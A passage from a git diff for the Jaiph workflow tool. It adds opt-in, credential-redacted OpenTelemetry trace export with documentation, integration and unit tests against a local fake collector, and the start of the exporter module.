    OpenTelemetry. Set the standard + OTEL_EXPORTER_OTLP_ENDPOINT and every run exports one span tree + (workflow → steps → prompts) to any OTLP collector — Grafana Tempo, + Honeycomb, Datadog. Host-side, end-of-run, credential-redacted, with zero new dependencies, and never + load-bearing. See Export traces to an OTLP collector.

    Samples

    Jaiph source code is built mostly with real Jaiph workflows. The diff --git a/docs/observability.md b/docs/observability.md new file mode 100644 index 00000000..411af726 --- /dev/null +++ b/docs/observability.md @@ -0,0 +1,103 @@ +--- +title: Export traces to an OTLP collector +permalink: /how-to/observability +diataxis: how-to +--- + +# Export traces to an OTLP collector + +Every Jaiph run already produces a complete, credential-redacted event timeline +(`run_summary.jsonl` — see [Architecture](architecture.md#durable-artifact-layout)). +This recipe turns that timeline into an **OpenTelemetry trace**: one span tree per +run, exported over OTLP/HTTP (JSON) to any collector — a local +[`otel-collector`](https://opentelemetry.io/docs/collector/), Grafana Tempo, +Honeycomb, Datadog, or anything else that speaks OTLP. + +Export is **host-side and end-of-run**: after a run reaches its terminal state the +CLI reads that run's `run_summary.jsonl` and posts one trace. Nothing new crosses +the sandbox boundary, and no `OTEL_*` variable is forwarded into the container — +the run directory is a host mount, so the host already sees the finished journal. + +## Enable it + +Export is off until you point Jaiph at a collector with the standard OpenTelemetry +environment variables — there are **no `JAIPH_*` variables** for this feature. Set +either the traces-specific endpoint (used verbatim) or the generic base endpoint +(`/v1/traces` is appended): + +```bash +# Generic base — Jaiph appends /v1/traces +export OTEL_EXPORTER_OTLP_ENDPOINT="http://localhost:4318" + +# …or the traces-specific endpoint, used exactly as given (wins if both are set) +export OTEL_EXPORTER_OTLP_TRACES_ENDPOINT="http://localhost:4318/v1/traces" + +jaiph run ./flows/review.jh "review this diff" +``` + +Every `jaiph run` completion and every workflow invoked through `jaiph mcp` / +`jaiph serve` then posts exactly one trace. + +### A local collector + +Run a collector that logs what it receives, then run a workflow against it: + +```bash +docker run --rm -p 4318:4318 otel/opentelemetry-collector:latest +OTEL_EXPORTER_OTLP_ENDPOINT="http://localhost:4318" jaiph run ./hello.jh +``` + +### A hosted backend (Honeycomb) + +Hosted backends want the traces endpoint plus an auth header. Headers are a +comma-separated `key=value` list: + +```bash +export OTEL_EXPORTER_OTLP_TRACES_ENDPOINT="https://api.honeycomb.io/v1/traces" +export OTEL_EXPORTER_OTLP_HEADERS="x-honeycomb-team=YOUR_API_KEY" +export OTEL_SERVICE_NAME="jaiph-ci" +jaiph run ./deploy.jh +``` + +Set `OTEL_RESOURCE_ATTRIBUTES="deployment.environment=prod,team=platform"` to tag +every span with extra resource attributes. + +## What maps to what + +One run becomes one trace. The **trace id** is the run's UUID with dashes stripped; +re-exporting the same run produces byte-identical ids, so a retry never forks the +trace. + +- **Root span** `workflow ` — spans the whole run (`WORKFLOW_START` → + `WORKFLOW_END`). Its status is **ERROR** when the run exits nonzero or a signal + terminated it, otherwise **OK**. Each `logerr` / `logwarn` becomes a span event + on this root. +- **Step spans** — one per step, nested by the run tree (a step's parent is the + step that invoked it; top-level steps hang off the root). Attributes: + `jaiph.step.kind` (`workflow` / `rule` / `script` / `prompt`), `jaiph.step.func`, + `jaiph.step.name`, `jaiph.step.seq`, `jaiph.step.depth`, `jaiph.step.status`, + `jaiph.step.elapsed_ms`, plus the redacted `jaiph.step.out` / `jaiph.step.err` + captures. A nonzero step status is an ERROR span; a step with no end (a crash) + closes at the last event's time as ERROR. +- **Prompt spans** — child of the step that issued the prompt, with + `jaiph.prompt.backend`, `jaiph.prompt.model`, and `jaiph.prompt.status`. + +The exported payload is sourced entirely from `run_summary.jsonl`, which is already +credential-redacted, so secrets in step output arrive as `[REDACTED]`. The raw +per-step capture files are never read. + +## Failure is never load-bearing + +Telemetry never affects a run. An unreachable or erroring collector produces +**exactly one** warning line on stderr; the run's exit code, output, and journal +are untouched. There are no retries and no queue — a run is minutes long, so +end-of-run batching is the normal OTLP pattern. + +Only OTLP/HTTP with a JSON payload is spoken. If `OTEL_EXPORTER_OTLP_PROTOCOL` is +set to anything other than `http/json` (for example `grpc`), Jaiph warns and skips +the export rather than mis-speak a protocol. + +## Related + +- [Environment variables — Telemetry variables](env-vars.md#telemetry-variables) — the full list of consumed `OTEL_*` names. +- [Architecture — Durable artifact layout](architecture.md#durable-artifact-layout) — the `run_summary.jsonl` timeline the export reads. diff --git a/integration/otlp-export.test.ts b/integration/otlp-export.test.ts new file mode 100644 index 00000000..1d054968 --- /dev/null +++ b/integration/otlp-export.test.ts @@ -0,0 +1,327 @@ +import test from "node:test"; +import assert from "node:assert/strict"; +import { spawn, type ChildProcessWithoutNullStreams } from "node:child_process"; +import { createServer, type Server } from "node:http"; +import { mkdtempSync, rmSync, writeFileSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { AddressInfo } from "node:net"; +import { dirname, join } from "node:path"; + +const CLI_PATH = join(process.cwd(), "dist/src/cli.js"); + +interface CapturedRequest { + method: string; + url: string; + headers: Record; + body: string; +} + +interface FakeCollector { + port: number; + requests: CapturedRequest[]; + close: () => Promise; +} + +/** A minimal OTLP collector that records every request and replies `status`. */ +function startCollector(status = 200): Promise { + return new Promise((resolve) => { + const requests: CapturedRequest[] = []; + const server: Server = createServer((req, res) => { + let body = ""; + req.on("data", (c) => (body += c)); + req.on("end", () => { + requests.push({ method: req.method ?? "", url: req.url ?? "", headers: req.headers, body }); + res.writeHead(status); + res.end(); + }); + }); + server.listen(0, "127.0.0.1", () => { + const port = (server.address() as AddressInfo).port; + resolve({ + port, + requests, + close: () => new Promise((r) => server.close(() => r())), + }); + }); + }); +} + +/** Bind then immediately release a port so a request to it is refused. */ +function reservedClosedPort(): Promise { + return new Promise((resolve) => { + const server = createServer(); + server.listen(0, "127.0.0.1", () => { + const port = (server.address() as AddressInfo).port; + server.close(() => resolve(port)); + }); + }); +} + +/** + * Run the CLI asynchronously so the test process's event loop keeps running — + * the in-process fake collector must be able to accept the export connection + * while the run is in flight (spawnSync would block the loop and deadlock it). + */ +function runCli( + args: string[], + opts: { cwd: string; env: NodeJS.ProcessEnv }, +): Promise<{ status: number; stdout: string; stderr: string }> { + return new Promise((resolve) => { + const child = spawn("node", [CLI_PATH, ...args], { cwd: opts.cwd, env: opts.env, stdio: ["ignore", "pipe", "pipe"] }); + let stdout = ""; + let stderr = ""; + child.stdout.setEncoding("utf8"); + child.stderr.setEncoding("utf8"); + child.stdout.on("data", (c: string) => (stdout += c)); + child.stderr.on("data", (c: string) => (stderr += c)); + child.on("close", (code) => resolve({ status: code ?? 1, stdout, stderr })); + }); +} + +function baseEnv(runsRoot: string): NodeJS.ProcessEnv { + return { + ...process.env, + JAIPH_DOCKER_ENABLED: "false", + JAIPH_RUNS_DIR: runsRoot, + PATH: `${dirname(process.execPath)}:${process.env.PATH ?? ""}`, + }; +} + +const STEP_FIXTURE = [ + 'script emit = `echo "hello"`', + "workflow default() {", + ' log "a log line"', + ' logerr "an error line"', + " run emit()", + ' return "done"', + "}", + "", +].join("\n"); + +function otlpWarnings(stderr: string): string[] { + return stderr.split("\n").filter((l) => l.includes("OTLP trace export")); +} + +test("jaiph run: with OTLP env, exactly one well-formed POST reaches /v1/traces", async () => { + const collector = await startCollector(200); + const root = mkdtempSync(join(tmpdir(), "jaiph-otlp-run-")); + try { + const jh = join(root, "app.jh"); + writeFileSync(jh, STEP_FIXTURE); + const result = await runCli(["run", jh], { + cwd: root, + env: { + ...baseEnv(join(root, ".jaiph/runs")), + OTEL_EXPORTER_OTLP_ENDPOINT: `http://127.0.0.1:${collector.port}`, + OTEL_EXPORTER_OTLP_HEADERS: "x-test=abc", + OTEL_SERVICE_NAME: "jaiph-it", + }, + }); + assert.equal(result.status, 0, result.stderr); + assert.equal(collector.requests.length, 1, "exactly one export POST"); + const req = collector.requests[0]; + assert.equal(req.method, "POST"); + assert.equal(req.url, "/v1/traces", "generic endpoint gets /v1/traces appended"); + assert.equal(req.headers["content-type"], "application/json"); + assert.equal(req.headers["x-test"], "abc", "OTEL_EXPORTER_OTLP_HEADERS applied"); + + const payload = JSON.parse(req.body) as { + resourceSpans: Array<{ + resource: { attributes: Array<{ key: string; value: { stringValue?: string } }> }; + scopeSpans: Array<{ spans: Array<{ name: string; traceId: string }> }>; + }>; + }; + const rs = payload.resourceSpans[0]; + const spans = rs.scopeSpans[0].spans; + assert.ok(spans.some((s) => s.name === "workflow default"), "root span present"); + assert.ok(spans.some((s) => s.name === "script emit"), "step span present"); + assert.ok(spans.every((s) => /^[0-9a-f]{32}$/.test(s.traceId)), "trace id is 32 hex chars"); + const svc = rs.resource.attributes.find((a) => a.key === "service.name"); + assert.equal(svc?.value.stringValue, "jaiph-it", "OTEL_SERVICE_NAME used"); + } finally { + await collector.close(); + rmSync(root, { recursive: true, force: true }); + } +}); + +test("jaiph run: with no OTLP env, nothing is exported", async () => { + const collector = await startCollector(200); + const root = mkdtempSync(join(tmpdir(), "jaiph-otlp-none-")); + try { + const jh = join(root, "app.jh"); + writeFileSync(jh, STEP_FIXTURE); + const result = await runCli(["run", jh], { + cwd: root, + env: baseEnv(join(root, ".jaiph/runs")), + }); + assert.equal(result.status, 0, result.stderr); + assert.equal(collector.requests.length, 0, "no OTEL env → no export"); + assert.equal(otlpWarnings(result.stderr).length, 0); + } finally { + await collector.close(); + rmSync(root, { recursive: true, force: true }); + } +}); + +test("jaiph run: a collector 500 keeps exit 0 and prints exactly one warning", async () => { + const collector = await startCollector(500); + const root = mkdtempSync(join(tmpdir(), "jaiph-otlp-500-")); + try { + const jh = join(root, "app.jh"); + writeFileSync(jh, STEP_FIXTURE); + const result = await runCli(["run", jh], { + cwd: root, + env: { + ...baseEnv(join(root, ".jaiph/runs")), + OTEL_EXPORTER_OTLP_TRACES_ENDPOINT: `http://127.0.0.1:${collector.port}/v1/traces`, + }, + }); + assert.equal(result.status, 0, "telemetry is never load-bearing"); + assert.equal(collector.requests.length, 1, "one POST was attempted"); + const warns = otlpWarnings(result.stderr); + assert.equal(warns.length, 1, `exactly one warning line, got: ${result.stderr}`); + assert.match(warns[0], /HTTP 500/); + } finally { + await collector.close(); + rmSync(root, { recursive: true, force: true }); + } +}); + +test("jaiph run: a refused collector keeps exit 0 and prints exactly one warning", async () => { + const port = await reservedClosedPort(); + const root = mkdtempSync(join(tmpdir(), "jaiph-otlp-refused-")); + try { + const jh = join(root, "app.jh"); + writeFileSync(jh, STEP_FIXTURE); + const result = await runCli(["run", jh], { + cwd: root, + env: { + ...baseEnv(join(root, ".jaiph/runs")), + OTEL_EXPORTER_OTLP_TRACES_ENDPOINT: `http://127.0.0.1:${port}/v1/traces`, + }, + }); + assert.equal(result.status, 0); + const warns = otlpWarnings(result.stderr); + assert.equal(warns.length, 1, `exactly one warning line, got: ${result.stderr}`); + } finally { + rmSync(root, { recursive: true, force: true }); + } +}); + +test("redaction: a credential in step output reaches the payload only as [REDACTED]", async () => { + const collector = await startCollector(200); + const root = mkdtempSync(join(tmpdir(), "jaiph-otlp-redact-")); + const SECRET = "supersecretvalue"; + try { + const jh = join(root, "app.jh"); + writeFileSync( + jh, + ['script leak = `printf %s "$SECRET_API_KEY"`', "workflow default() {", " run leak()", "}", ""].join("\n"), + ); + const result = await runCli(["run", jh], { + cwd: root, + env: { + ...baseEnv(join(root, ".jaiph/runs")), + SECRET_API_KEY: SECRET, + OTEL_EXPORTER_OTLP_ENDPOINT: `http://127.0.0.1:${collector.port}`, + }, + }); + assert.equal(result.status, 0, result.stderr); + assert.equal(collector.requests.length, 1); + const body = collector.requests[0].body; + assert.equal(body.includes(SECRET), false, "raw credential must never appear in the payload"); + assert.ok(body.includes("[REDACTED]"), "the redacted marker flows through from the journal"); + } finally { + await collector.close(); + rmSync(root, { recursive: true, force: true }); + } +}); + +// --- MCP shared-call-layer export ------------------------------------------ + +interface McpMessage { + id?: number; + method?: string; + result?: unknown; + [k: string]: unknown; +} + +test("MCP tools/call triggers exactly one export per call via the shared call layer", async () => { + const collector = await startCollector(200); + const root = mkdtempSync(join(tmpdir(), "jaiph-otlp-mcp-")); + const jh = join(root, "tools.jh"); + writeFileSync(jh, ["# Greets.", "workflow greet(name) {", ' return "hi ${name}"', "}", ""].join("\n")); + const child: ChildProcessWithoutNullStreams = spawn("node", [CLI_PATH, "mcp", jh], { + cwd: root, + env: { + ...baseEnv(join(root, ".jaiph/runs")), + OTEL_EXPORTER_OTLP_ENDPOINT: `http://127.0.0.1:${collector.port}`, + }, + stdio: ["pipe", "pipe", "pipe"], + }) as ChildProcessWithoutNullStreams; + + const messages: McpMessage[] = []; + let buf = ""; + child.stdout.setEncoding("utf8"); + child.stdout.on("data", (chunk: string) => { + buf += chunk; + let idx = buf.indexOf("\n"); + while (idx !== -1) { + const line = buf.slice(0, idx); + buf = buf.slice(idx + 1); + if (line.length > 0) messages.push(JSON.parse(line) as McpMessage); + idx = buf.indexOf("\n"); + } + }); + + const send = (m: Record): void => { + child.stdin.write(`${JSON.stringify(m)}\n`); + }; + const waitFor = (pred: (m: McpMessage) => boolean, label: string): Promise => + new Promise((resolve, reject) => { + const timer = setTimeout(() => reject(new Error(`timeout: ${label}`)), 20_000); + const tick = (): void => { + const found = messages.find(pred); + if (found) { + clearTimeout(timer); + resolve(found); + return; + } + setTimeout(tick, 50); + }; + tick(); + }); + + try { + send({ + jsonrpc: "2.0", + id: 0, + method: "initialize", + params: { protocolVersion: "2025-06-18", capabilities: {}, clientInfo: { name: "probe", version: "1" } }, + }); + await waitFor((m) => m.id === 0, "initialize"); + send({ jsonrpc: "2.0", method: "notifications/initialized" }); + + send({ jsonrpc: "2.0", id: 1, method: "tools/call", params: { name: "greet", arguments: { name: "x" } } }); + const call = await waitFor((m) => m.id === 1, "tools/call"); + assert.equal((call.result as { isError: boolean }).isError, false); + + // The export is awaited inside the shared call layer before the response is + // sent, so by now exactly one POST has landed for this one call. + assert.equal(collector.requests.length, 1, "exactly one export per tools/call"); + assert.equal(collector.requests[0].url, "/v1/traces"); + const payload = JSON.parse(collector.requests[0].body) as { + resourceSpans: Array<{ resource: { attributes: Array<{ key: string; value: { stringValue?: string } }> } }>; + }; + const wf = payload.resourceSpans[0].resource.attributes.find((a) => a.key === "jaiph.workflow"); + assert.equal(wf?.value.stringValue, "greet", "the tool's workflow symbol is on the resource"); + } finally { + await new Promise((resolve) => { + child.on("exit", () => resolve()); + child.stdin.end(); + setTimeout(() => child.kill("SIGKILL"), 5_000).unref(); + }); + await collector.close(); + rmSync(root, { recursive: true, force: true }); + } +}); diff --git a/src/cli/commands/run.ts b/src/cli/commands/run.ts index 6206846a..ecdb1eee 100644 --- a/src/cli/commands/run.ts +++ b/src/cli/commands/run.ts @@ -71,6 +71,7 @@ import { preflightAgentCredentials, collectEntryBackends } from "../run/prefligh import { planTrustedEnvs } from "../run/trusted-envs"; import { colorize, formatJaiphRunningBannerLines } from "../run/display"; import { createRunEmitter } from "../run/emitter"; +import { exportRunTelemetry } from "../telemetry/otlp"; import { createStderrParser, createRunState, @@ -333,8 +334,8 @@ export async function runWorkflow(rest: string[]): Promise { ttyCtx.nonTTYHeartbeatInterval = undefined; } - return reportResult( - runState.capturedStderr, childExit.status, startedAt, runtimeEnv, + return await reportResult( + runState.capturedStderr, childExit.status, childExit.signal, startedAt, runtimeEnv, emitter, runState.workflowRunId, inputAbs, workspaceRoot, metaFile, dockerResult?.sandboxRunDir, runId, ); @@ -554,9 +555,10 @@ function writePlainStdout(chunk: string, ttyCtx: TTYContext): void { redrawTTYBottomLine(ttyCtx); } -function reportResult( +async function reportResult( capturedStderr: string, exitStatus: number, + signal: NodeJS.Signals | null, startedAt: number, runtimeEnv: Record, emitter: ReturnType, @@ -566,7 +568,7 @@ function reportResult( metaFile: string, sandboxRunDir?: string, expectedRunId?: string, -): number { +): Promise { const elapsedMs = Date.now() - startedAt; const elapsedLabel = formatElapsedDuration(elapsedMs); let runDir: string | undefined; @@ -592,6 +594,9 @@ function reportResult( runDir = discovered.runDir; summaryFile = discovered.summaryFile; } + // Export a trace to an OTLP collector when configured (standard OTEL env). + // Best-effort: never affects the exit code, output, or journal below. + await exportRunTelemetry({ runDir, workflow: "default", exitStatus, signal, env: process.env }); const runtimeDebugEnabled = runtimeEnv.JAIPH_DEBUG === "true"; const runtimeErrorPrinted = sandboxRunDir ? false diff --git a/src/cli/exec/call.ts b/src/cli/exec/call.ts index f712912c..e81775c2 100644 --- a/src/cli/exec/call.ts +++ b/src/cli/exec/call.ts @@ -16,6 +16,7 @@ import { type DockerRunConfig, } from "../../runtime/docker"; import { discoverDockerRunDir, remapContainerPath } from "../shared/errors"; +import { exportRunTelemetry } from "../telemetry/otlp"; /** * Result of executing one workflow call. `text` is the same content an MCP @@ -109,10 +110,19 @@ export async function callWorkflow( runtimeEnv.JAIPH_RUN_ID = runId; runtimeEnv.JAIPH_SCRIPTS = env.scriptsDir; - if (dockerConfig.enabled) { - return callWorkflowDocker(env, dockerConfig, workflowSymbol, positionalArgs, runtimeEnv, runId, ctx); - } - return callWorkflowHost(env, workflowSymbol, positionalArgs, runtimeEnv, runId, ctx); + const result = dockerConfig.enabled + ? await callWorkflowDocker(env, dockerConfig, workflowSymbol, positionalArgs, runtimeEnv, runId, ctx) + : await callWorkflowHost(env, workflowSymbol, positionalArgs, runtimeEnv, runId, ctx); + // One export per call — the shared choke point covering every MCP tool call and + // HTTP `jaiph serve` invocation. Best-effort; never changes the call result. + await exportRunTelemetry({ + runDir: result.runDir, + workflow: workflowSymbol, + exitStatus: result.exitStatus ?? 0, + signal: result.signal ?? null, + env: process.env, + }); + return result; } /** Host execution — same self-spawn path as `jaiph run --raw`. */ diff --git a/src/cli/telemetry/otlp.test.ts b/src/cli/telemetry/otlp.test.ts new file mode 100644 index 00000000..502b446d --- /dev/null +++ b/src/cli/telemetry/otlp.test.ts @@ -0,0 +1,266 @@ +import test from "node:test"; +import assert from "node:assert/strict"; +import { createHash } from "node:crypto"; +import { + runSummaryToOtlp, + resolveOtlpEndpoint, + parseKeyValueList, + exportRunTelemetry, + type OtlpMeta, +} from "./otlp"; + +const RUN_ID = "11111111-2222-3333-4444-555555555555"; + +/** Mirror of the module's span-id derivation, for asserting parent links. */ +function spanIdFor(eventId: string): string { + return createHash("sha256").update(eventId, "utf8").digest("hex").slice(0, 16); +} + +function nano(ts: string): string { + return (BigInt(Date.parse(ts)) * 1_000_000n).toString(); +} + +const T = { + wfStart: "2026-04-21T16:02:00Z", + fibStart: "2026-04-21T16:02:01Z", + fibEnd: "2026-04-21T16:02:02Z", + promptStart: "2026-04-21T16:02:03Z", + promptEnd: "2026-04-21T16:02:05Z", + boomStart: "2026-04-21T16:02:06Z", + boomEnd: "2026-04-21T16:02:07Z", + hangStart: "2026-04-21T16:02:08Z", + log: "2026-04-21T16:02:09Z", + wfEnd: "2026-04-21T16:02:10Z", +}; + +/** A journal covering the root, a script step, a prompt, a failed step, and a crash. */ +function fixtureLines(): string[] { + const runId = RUN_ID; + const events: Record[] = [ + { type: "WORKFLOW_START", workflow: "default", source: "fib.jh", ts: T.wfStart, run_id: runId }, + { type: "STEP_START", func: "default", kind: "workflow", name: "default", ts: T.wfStart, id: "R:1", parent_id: null, seq: 1, depth: 0, run_id: runId }, + { type: "STEP_START", func: "fib", kind: "script", name: "fib", ts: T.fibStart, id: "R:2", parent_id: "R:1", seq: 2, depth: 1, run_id: runId }, + { type: "STEP_END", func: "fib", kind: "script", name: "fib", ts: T.fibEnd, status: 0, elapsed_ms: 100, id: "R:2", parent_id: "R:1", seq: 2, depth: 1, run_id: runId, out_content: "ok\n", err_content: "" }, + { type: "STEP_START", func: "prompt", kind: "prompt", name: "claude", ts: T.promptStart, id: "R:p1", parent_id: "R:1", seq: 3, depth: 1, run_id: runId }, + { type: "PROMPT_START", ts: T.promptStart, run_id: runId, step_id: "R:p1", backend: "claude", model: "sonnet", status: null }, + { type: "PROMPT_END", ts: T.promptEnd, run_id: runId, step_id: "R:p1", backend: "claude", model: "sonnet", status: 0 }, + { type: "STEP_END", func: "prompt", kind: "prompt", name: "claude", ts: T.promptEnd, status: 0, elapsed_ms: 2000, id: "R:p1", parent_id: "R:1", seq: 3, depth: 1, run_id: runId, out_content: "", err_content: "" }, + { type: "STEP_START", func: "boom", kind: "script", name: "boom", ts: T.boomStart, id: "R:3", parent_id: "R:1", seq: 4, depth: 1, run_id: runId }, + { type: "STEP_END", func: "boom", kind: "script", name: "boom", ts: T.boomEnd, status: 1, elapsed_ms: 5, id: "R:3", parent_id: "R:1", seq: 4, depth: 1, run_id: runId, out_content: "", err_content: "bad\n" }, + { type: "STEP_START", func: "hang", kind: "script", name: "hang", ts: T.hangStart, id: "R:4", parent_id: "R:1", seq: 5, depth: 1, run_id: runId }, + { type: "LOGERR", message: "warn-line", depth: 1, ts: T.log, run_id: runId }, + { type: "WORKFLOW_END", workflow: "default", source: "fib.jh", ts: T.wfEnd, run_id: runId }, + ]; + return events.map((e) => JSON.stringify(e)); +} + +const META: OtlpMeta = { + workflow: "default", + exitStatus: 1, + signal: null, + serviceName: "jaiph", + resourceAttributes: { "jaiph.version": "9.9.9", "deployment.environment": "ci" }, +}; + +interface Span { + traceId: string; + spanId: string; + parentSpanId?: string; + name: string; + kind: number; + startTimeUnixNano: string; + endTimeUnixNano: string; + status: { code: number; message?: string }; + attributes?: Array<{ key: string; value: { stringValue?: string; intValue?: string } }>; + events?: Array<{ timeUnixNano: string; name: string; attributes: Array<{ key: string; value: { stringValue: string } }> }>; +} + +function spansOf(payload: Record): Span[] { + const rs = (payload.resourceSpans as Array>)[0]; + const ss = (rs.scopeSpans as Array>)[0]; + return ss.spans as unknown as Span[]; +} + +function attrString(span: Span, key: string): string | undefined { + return span.attributes?.find((a) => a.key === key)?.value.stringValue; +} +function attrInt(span: Span, key: string): string | undefined { + return span.attributes?.find((a) => a.key === key)?.value.intValue; +} + +test("runSummaryToOtlp: trace id is the run id UUID with dashes stripped", () => { + const spans = spansOf(runSummaryToOtlp(fixtureLines(), META)); + for (const s of spans) { + assert.equal(s.traceId, "11111111222233334444555555555555"); + assert.equal(s.traceId.length, 32); + } +}); + +test("runSummaryToOtlp: root span carries workflow name and OK/ERROR from run exit", () => { + const root = spansOf(runSummaryToOtlp(fixtureLines(), META)).find((s) => s.name === "workflow default")!; + assert.ok(root, "root span present"); + assert.equal(root.parentSpanId, undefined, "root has no parent"); + assert.equal(root.spanId, spanIdFor(RUN_ID)); + assert.equal(root.startTimeUnixNano, nano(T.wfStart)); + assert.equal(root.endTimeUnixNano, nano(T.wfEnd)); + // nonzero run exit → root status 2 + assert.equal(root.status.code, 2); + + const ok = spansOf(runSummaryToOtlp(fixtureLines(), { ...META, exitStatus: 0 })).find((s) => s.name === "workflow default")!; + assert.equal(ok.status.code, 1); + + const sig = spansOf(runSummaryToOtlp(fixtureLines(), { ...META, exitStatus: 0, signal: "SIGKILL" })).find((s) => s.name === "workflow default")!; + assert.equal(sig.status.code, 2, "a terminating signal marks the root ERROR even at exit 0"); +}); + +test("runSummaryToOtlp: step span parented per parent_id (root when null)", () => { + const spans = spansOf(runSummaryToOtlp(fixtureLines(), META)); + const rootStep = spans.find((s) => s.spanId === spanIdFor("R:1"))!; + assert.equal(rootStep.parentSpanId, spanIdFor(RUN_ID), "parent_id null → parented to the run root span"); + const fib = spans.find((s) => s.spanId === spanIdFor("R:2"))!; + assert.equal(fib.parentSpanId, spanIdFor("R:1"), "fib parented to the workflow step via parent_id"); + assert.equal(fib.name, "script fib"); + assert.equal(attrString(fib, "jaiph.step.kind"), "script"); + assert.equal(attrString(fib, "jaiph.step.func"), "fib"); + assert.equal(attrString(fib, "jaiph.step.name"), "fib"); + assert.equal(attrInt(fib, "jaiph.step.seq"), "2"); + assert.equal(attrInt(fib, "jaiph.step.depth"), "1"); + assert.equal(attrInt(fib, "jaiph.step.status"), "0"); + assert.equal(attrInt(fib, "jaiph.step.elapsed_ms"), "100"); + assert.equal(attrString(fib, "jaiph.step.out"), "ok\n"); + assert.equal(fib.startTimeUnixNano, nano(T.fibStart)); + assert.equal(fib.endTimeUnixNano, nano(T.fibEnd)); +}); + +test("runSummaryToOtlp: failed step → span status 2", () => { + const boom = spansOf(runSummaryToOtlp(fixtureLines(), META)).find((s) => s.spanId === spanIdFor("R:3"))!; + assert.equal(boom.status.code, 2); + assert.equal(attrInt(boom, "jaiph.step.status"), "1"); + assert.equal(attrString(boom, "jaiph.step.err"), "bad\n"); +}); + +test("runSummaryToOtlp: prompt span is a child of its step_id with backend/model attributes", () => { + const spans = spansOf(runSummaryToOtlp(fixtureLines(), META)); + const prompt = spans.find((s) => s.name === "prompt claude" && s.attributes?.some((a) => a.key === "jaiph.prompt.backend"))!; + assert.ok(prompt, "prompt span present"); + assert.equal(prompt.parentSpanId, spanIdFor("R:p1"), "prompt parented to its step_id"); + assert.equal(attrString(prompt, "jaiph.prompt.backend"), "claude"); + assert.equal(attrString(prompt, "jaiph.prompt.model"), "sonnet"); + assert.equal(attrInt(prompt, "jaiph.prompt.status"), "0"); + assert.equal(prompt.status.code, 1); +}); + +test("runSummaryToOtlp: unmatched STEP_START closes with ERROR at the last event time", () => { + const hang = spansOf(runSummaryToOtlp(fixtureLines(), META)).find((s) => s.spanId === spanIdFor("R:4"))!; + assert.equal(hang.status.code, 2, "a crashed (no STEP_END) step is ERROR"); + assert.equal(hang.startTimeUnixNano, nano(T.hangStart)); + assert.equal(hang.endTimeUnixNano, nano(T.wfEnd), "closes at the last event timestamp"); + // No STEP_END → no status/elapsed attributes. + assert.equal(attrInt(hang, "jaiph.step.status"), undefined); +}); + +test("runSummaryToOtlp: LOGERR becomes a span event on the root span", () => { + const root = spansOf(runSummaryToOtlp(fixtureLines(), META)).find((s) => s.name === "workflow default")!; + assert.equal(root.events?.length, 1); + const ev = root.events![0]; + assert.equal(ev.timeUnixNano, nano(T.log)); + assert.equal(ev.attributes.find((a) => a.key === "level")?.value.stringValue, "LOGERR"); + assert.equal(ev.attributes.find((a) => a.key === "message")?.value.stringValue, "warn-line"); +}); + +test("runSummaryToOtlp: resource carries service.name, OTEL pairs, and jaiph.* attributes", () => { + const payload = runSummaryToOtlp(fixtureLines(), META); + const rs = (payload.resourceSpans as Array>)[0]; + const attrs = (rs.resource as { attributes: Array<{ key: string; value: { stringValue: string } }> }).attributes; + const byKey = new Map(attrs.map((a) => [a.key, a.value.stringValue])); + assert.equal(byKey.get("service.name"), "jaiph"); + assert.equal(byKey.get("jaiph.version"), "9.9.9"); + assert.equal(byKey.get("deployment.environment"), "ci"); + assert.equal(byKey.get("jaiph.run_id"), RUN_ID); + assert.equal(byKey.get("jaiph.workflow"), "default"); + assert.equal(byKey.get("jaiph.source"), "fib.jh"); +}); + +test("runSummaryToOtlp: ids are deterministic across two invocations", () => { + const a = JSON.stringify(runSummaryToOtlp(fixtureLines(), META)); + const b = JSON.stringify(runSummaryToOtlp(fixtureLines(), META)); + assert.equal(a, b); +}); + +test("resolveOtlpEndpoint: traces-specific verbatim; generic gets /v1/traces; traces wins", () => { + assert.equal(resolveOtlpEndpoint({}), undefined); + assert.equal( + resolveOtlpEndpoint({ OTEL_EXPORTER_OTLP_TRACES_ENDPOINT: "http://c:4318/v1/traces" }), + "http://c:4318/v1/traces", + ); + assert.equal( + resolveOtlpEndpoint({ OTEL_EXPORTER_OTLP_ENDPOINT: "http://c:4318" }), + "http://c:4318/v1/traces", + ); + assert.equal( + resolveOtlpEndpoint({ OTEL_EXPORTER_OTLP_ENDPOINT: "http://c:4318/" }), + "http://c:4318/v1/traces", + "a trailing slash on the base endpoint is not doubled", + ); + assert.equal( + resolveOtlpEndpoint({ + OTEL_EXPORTER_OTLP_TRACES_ENDPOINT: "http://traces:4318/v1/traces", + OTEL_EXPORTER_OTLP_ENDPOINT: "http://base:4318", + }), + "http://traces:4318/v1/traces", + "traces-specific wins over generic", + ); +}); + +test("parseKeyValueList: comma-separated k=v with = allowed in values", () => { + assert.deepEqual(parseKeyValueList(undefined), {}); + assert.deepEqual(parseKeyValueList(""), {}); + assert.deepEqual(parseKeyValueList("a=1, b=2"), { a: "1", b: "2" }); + assert.deepEqual( + parseKeyValueList("authorization=Bearer abc=def"), + { authorization: "Bearer abc=def" }, + "only the first = splits key from value", + ); + assert.deepEqual(parseKeyValueList("bad,c=3"), { c: "3" }, "entries without = are skipped"); +}); + +test("exportRunTelemetry: warns and skips when the protocol is not http/json", async () => { + const captured: string[] = []; + const original = process.stderr.write.bind(process.stderr); + (process.stderr as unknown as { write: (s: string) => boolean }).write = (s: string) => { + captured.push(s); + return true; + }; + try { + await exportRunTelemetry({ + runDir: "/nonexistent", + workflow: "default", + exitStatus: 0, + signal: null, + env: { + OTEL_EXPORTER_OTLP_ENDPOINT: "http://localhost:4318", + OTEL_EXPORTER_OTLP_PROTOCOL: "grpc", + }, + }); + } finally { + (process.stderr as unknown as { write: typeof original }).write = original; + } + assert.equal(captured.length, 1, "exactly one warning line"); + assert.match(captured[0], /http\/json/); + assert.match(captured[0], /grpc/); +}); + +test("exportRunTelemetry: no OTLP endpoint → no-op, no output", async () => { + const captured: string[] = []; + const original = process.stderr.write.bind(process.stderr); + (process.stderr as unknown as { write: (s: string) => boolean }).write = (s: string) => { + captured.push(s); + return true; + }; + try { + await exportRunTelemetry({ runDir: "/nonexistent", workflow: "default", exitStatus: 0, signal: null, env: {} }); + } finally { + (process.stderr as unknown as { write: typeof original }).write = original; + } + assert.equal(captured.length, 0); +}); diff --git a/src/cli/telemetry/otlp.ts b/src/cli/telemetry/otlp.ts new file mode 100644 index 00000000..fdf8d9d0 --- /dev/null +++ b/src/cli/telemetry/otlp.ts @@ -0,0 +1,390 @@ +/** + * OTLP/HTTP trace export for a completed run. + * + * Export happens host-side, after the run reaches 